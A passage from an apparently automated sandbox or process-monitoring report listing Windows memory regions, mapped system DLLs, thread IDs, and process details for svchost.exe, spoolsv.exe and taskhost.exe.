= "private_0x00000000021c0000" filename = "" Region: id = 3874 start_va = 0x31e0000 end_va = 0x325ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000031e0000" filename = "" Region: id = 3875 start_va = 0x3260000 end_va = 0x32dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 3876 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3877 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3878 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3879 start_va = 0x77020000 end_va = 0x77026fff monitored = 0 entry_point = 0x7702106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 3880 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3881 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3882 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3883 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3884 start_va = 0x7fef11e0000 end_va = 0x7fef120ffff monitored = 0 entry_point = 0x7fef11ec1fc region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" (normalized: "c:\\windows\\system32\\dnsrslvr.dll") Region: id = 3885 start_va = 0x7fef1d80000 end_va = 0x7fef1ff9fff monitored = 0 entry_point = 0x7fef1db2200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 3886 start_va = 0x7fef4490000 end_va = 0x7fef4497fff monitored = 0 entry_point = 0x7fef4491414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3887 start_va = 0x7fef4e00000 end_va = 0x7fef4e63fff monitored = 0 entry_point = 0x7fef4e01254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3888 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4e71010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3889 start_va = 0x7fef4ef0000 end_va = 0x7fef4f27fff monitored = 0 entry_point = 0x7fef4ef363c region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 3890 start_va = 0x7fef4f30000 end_va = 0x7fef4f7dfff monitored = 0 entry_point = 0x7fef4f446e0 region_type = mapped_file name = "nlasvc.dll" filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll") Region: id = 3891 start_va = 0x7fef4f80000 end_va = 0x7fef4f96fff monitored = 0 entry_point = 0x7fef4f81060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 3892 start_va = 0x7fef4fa0000 end_va = 0x7fef514ffff monitored = 0 entry_point = 0x7fef4fa1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 3893 start_va = 0x7fef5c40000 end_va = 0x7fef5c66fff monitored = 0 entry_point = 0x7fef5c41098 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll") Region: id = 3894 start_va = 0x7fef5c70000 end_va = 0x7fef5ca2fff monitored = 0 entry_point = 0x7fef5c7423c region_type = mapped_file name = "cryptsvc.dll" filename = "\\Windows\\System32\\cryptsvc.dll" (normalized: "c:\\windows\\system32\\cryptsvc.dll") Region: id = 3895 start_va = 0x7fef76c0000 end_va = 0x7fef76dffff monitored = 0 entry_point = 0x7fef76c1064 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" (normalized: "c:\\windows\\system32\\wkssvc.dll") Region: id = 3896 start_va = 0x7fefa5d0000 end_va = 0x7fefa5e7fff monitored = 0 entry_point = 0x7fefa5d1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3897 start_va = 0x7fefa5f0000 end_va = 0x7fefa600fff monitored = 0 entry_point = 0x7fefa5f16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3898 start_va = 0x7fefa700000 end_va = 0x7fefa752fff monitored = 0 entry_point = 0x7fefa702b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3899 start_va = 0x7fefa780000 end_va = 0x7fefa786fff monitored = 0 entry_point = 0x7fefa7815d8 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" (normalized: "c:\\windows\\system32\\dnsext.dll") Region: id = 3900 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3901 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3902 start_va = 0x7fefa8e0000 end_va = 0x7fefa946fff monitored = 0 entry_point = 0x7fefa8f6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 3903 start_va = 0x7fefa980000 end_va = 0x7fefa998fff monitored = 0 entry_point = 0x7fefa9811a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 3904 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 3905 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 3906 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 3907 start_va = 0x7fefafd0000 end_va = 0x7fefafe0fff monitored = 0 entry_point = 0x7fefafd9e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 3908 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3909 start_va = 0x7fefb5d0000 end_va = 0x7fefb5ecfff monitored = 0 entry_point = 0x7fefb5d1ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 3910 start_va = 0x7fefbb40000 end_va = 0x7fefbc6bfff monitored = 0 entry_point = 0x7fefbb494bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3911 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3912 start_va = 0x7fefc130000 end_va = 0x7fefc14afff monitored = 0 entry_point = 0x7fefc132068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3913 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3914 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3915 start_va = 0x7fefc2e0000 end_va = 0x7fefc32bfff monitored = 0 entry_point = 0x7fefc2e7950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3916 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3917 start_va = 0x7fefc4c0000 end_va = 0x7fefc51afff monitored = 0 entry_point = 0x7fefc4c6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3918 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3919 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3920 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3921 start_va = 0x7fefc7b0000 end_va = 0x7fefc7e1fff monitored = 0 entry_point = 0x7fefc7b144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 3922 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3923 start_va = 0x7fefc8d0000 end_va = 0x7fefc93cfff monitored = 0 entry_point = 0x7fefc8d1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3924 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3925 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3926 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3927 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3928 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3929 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3930 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3931 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3932 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3933 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3934 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3935 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3936 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3937 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3938 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3939 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3940 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3941 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3942 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3943 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3944 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3945 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3946 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3947 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3948 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3949 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3950 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3951 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3952 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3953 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 3954 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3955 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3956 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3957 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3958 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3959 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3960 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3961 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3962 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3963 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3964 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3965 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3966 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3967 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 365 os_tid = 0x8e8 Thread: id = 366 os_tid = 0x830 Thread: id = 367 os_tid = 0x658 Thread: id = 368 os_tid = 0x7f0 Thread: id = 369 os_tid = 0x380 Thread: id = 370 os_tid = 0x324 Thread: id = 371 os_tid = 0x538 Thread: id = 372 os_tid = 0x2c0 Thread: id = 373 os_tid = 0x75c Thread: id = 374 os_tid = 0x6d0 Thread: id = 375 os_tid = 0x678 Thread: id = 376 os_tid = 0x5c0 Thread: id = 377 os_tid = 0x154 Thread: id = 378 os_tid = 0x11c Thread: id = 379 os_tid = 0x360 Process: id = "18" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x70725000" os_pid = "0x48c" os_integrity_level = "0x4000" os_privileges = "0x20a00080" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:00011254" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 380 os_tid = 0x854 Thread: id = 381 os_tid = 0x850 Thread: id = 382 os_tid = 0x848 Thread: id = 383 os_tid = 0x83c Thread: id = 384 os_tid = 0x838 Thread: id = 385 os_tid = 0x834 Thread: id = 386 os_tid = 0x82c Thread: id = 387 os_tid = 0x254 Thread: id = 388 os_tid = 0x4b8 Thread: id = 389 os_tid = 0x4ac Thread: id = 390 os_tid = 0x4a4 Thread: id = 391 os_tid = 0x490 Process: id = "19" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x6fc43000" os_pid = "0x4b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4852 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4853 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskhost.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhost.exe.mui") Region: id = 4854 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4855 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4856 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4857 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4858 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4859 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4860 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msctfmonitor.dll.mui" filename = "\\Windows\\System32\\en-US\\MsCtfMonitor.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msctfmonitor.dll.mui") Region: id = 4861 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4862 start_va = 0x110000 end_va = 0x115fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winmm.dll.mui" filename = "\\Windows\\System32\\en-US\\winmm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winmm.dll.mui") Region: id = 4863 start_va = 0x130000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 4864 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4865 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4866 start_va = 0x3b0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 4867 start_va = 0x4b0000 end_va = 0x637fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 4868 start_va = 0x640000 end_va = 0x7c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 4869 start_va = 0x7d0000 end_va = 0x1bcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 4870 start_va = 0x1c20000 end_va = 0x1c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 4871 start_va = 0x1c40000 end_va = 0x1cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 4872 start_va = 0x1d10000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 4873 start_va = 0x1da0000 end_va = 0x1e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 4874 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 4875 start_va = 0x1f70000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 4876 start_va = 0x1ff0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 4877 start_va = 0x2120000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 4878 start_va = 0x21a0000 end_va = 0x225ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename 